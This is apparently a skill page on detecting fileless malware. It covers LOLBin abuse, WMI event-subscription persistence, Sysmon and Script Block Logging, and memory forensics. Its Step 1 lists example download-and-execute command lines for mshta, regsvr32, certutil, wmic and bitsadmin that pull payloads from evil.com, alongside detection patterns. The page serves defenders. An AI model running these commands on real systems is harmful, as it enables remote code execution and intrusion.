Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"]
nist_csf
["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"]
Detecting Fileless Malware Techniques
When to Use
EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
Investigating attacks that leave no traditional malware files on disk
Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
Memory forensics reveals malicious code but no corresponding files exist on the filesystem
Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.
Detection Gaps & Validation
"No file on disk" defeats file-centric triage entirely. Hash lookups, AV scans, and filescan find nothing because the payload lives in a registry value, a WMI consumer, or RAM only. Pivot to behavior: process lineage, Script Block Logging (4104), and Sysmon process-create/network events.
WMI persistence is invisible without the right events. Filter/Consumer/Binding creation only surfaces in Sysmon EIDs 19/20/21 - if those weren't enabled before the incident, enumerate the live root\subscription namespace directly and check ActiveScriptEventConsumer/CommandLineEventConsumer payloads.
LOLBin abuse blends into normal admin activity.certutil -urlcache, regsvr32 /i:http (Squiblydoo), mshta vbscript:, rundll32 javascript:, and wmic /format:http are the evasions most often missed - alert on the argument patterns, not the binary name.
Memory confirmation: run windows.malfind, ldrmodules, and a YARA scan for Assembly.Load/FromBase64String/AMSI-bypass strings to catch reflectively loaded .NET that never touched disk. A registry blob that decodes to a PE/assembly is the confirmation.
Reboot destroys the evidence. In-memory-only stages vanish on restart - capture RAM before remediation, and decode registry-stored payloads offline.
Benign lookalikes: legitimate SCCM/Intune, GPO logon scripts, and software updaters use the same LOLBins, encoded PowerShell, and WMI subscriptions. Validate the decoded command and destination before flagging.
Prerequisites
Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
PowerShell Script Block Logging and Module Logging enabled
Volatility 3 for memory forensics of fileless malware artifacts
Process Monitor (ProcMon) for real-time system activity monitoring
Windows Event Log access with adequate retention policies
Autoruns for identifying persistence mechanisms
Workflow
Step 1: Identify LOLBin Usage
Detect abuse of legitimate Windows binaries for malicious purposes:
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locations
Step 2: Detect WMI-Based Persistence
Analyze WMI event subscriptions used for fileless persistence:
Scenario: Investigating a Fileless Attack Using WMI Persistence
Context: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.
Approach:
Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism
Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload
Decode the PowerShell command (typically Base64-encoded with -enc flag)
Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload
Analyze memory dump for reflectively loaded assemblies and injected code
Check registry for additional stored payloads referenced by the PowerShell script
Map the complete attack chain from initial access through persistence and lateral movement
Pitfalls:
Not having Sysmon WMI event logging enabled (Events 19/20/21) before the incident
Rebooting the system before capturing a memory dump (destroys in-memory evidence)
Focusing only on file-based IOCs when the attack is entirely fileless
Missing the initial access vector because the LOLBin execution left minimal traces
